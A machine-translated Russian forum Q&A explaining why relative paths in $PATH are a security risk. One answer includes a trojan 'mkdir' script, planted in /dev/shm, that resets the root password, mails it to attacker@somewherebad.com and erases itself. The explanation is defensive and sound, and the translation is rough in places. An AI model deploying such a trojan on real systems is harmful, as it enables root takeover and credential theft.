У нас был аудит, просто отметьте нас за наличие относительных путей наизнанку $ PATH
переменная env. Я не уверен, действительно ли это проблема безопасности, и хотел бы связаться со всеми, чтобы узнать, действительно ли это проблема безопасности или это просто передовая практика , как я предполагаю. Может ли кто-нибудь предоставить информацию о проблемах безопасности при использовании $ PATH
с родственниками? Спасибо
Проблема с указанием относительного пути в $ PATH заключается в том, что если злоумышленник может создать файл с заданным именем в вашей файловой системе, вы рискуете запустить этот файл.
Пример: df
или мониторинг говорит, что / var заполнен, du
говорит, что это / var / spool / ftp / uploads
, что вы делаете?
cd /var/spool/ftp/uploads
ls -ltr
и вы принадлежите. Вы даже не видите ls
в выходных данных, так что вы никогда не узнаете.
Замените загрузки по ftp некоторым каталогом данных какого-либо клиентского веб-сайта, или каталогом / tmp общей машины, или много других вещей.
По общему признанию, это случится не часто,но риск существует, и написать ./ script
вместо script
легко.
Есть две проблемы с используемым вами путем.
Предположим, у вас есть следующий сценарий оболочки, который вы используете как root для обновления некоторого веб-приложения, и вы установили $ PATH
, используемый в / etc / profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
. Злоумышленнику вы предоставляете означает выполнить что-то в оболочке, управляемой указанным злоумышленником. Форма атаки могла бы выглядеть так - я пытаюсь подорвать управление вызовом mkdir
в уязвимом скрипте.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Затем я жду, пока вы обновите свое веб-приложение.
Что теперь происходит? , заключается в том, что уязвимый сценарий переключается на / dev / shm
. Когда он это делает и запускает mkdir
, он сначала находит программу apps / java / bin / mkdir
, которая в этом случае сбрасывает пароль root, отправляет злоумышленнику новый пароль root по электронной почте, на самом деле вызывает настоящий mkdir
(чтобы скрыть тот факт, что что-то действительно произошло) и удаляет себя с пути атаки.
Как root, вы нет идеи, что произошло, и доказательства стираются после доставки полезной нагрузки.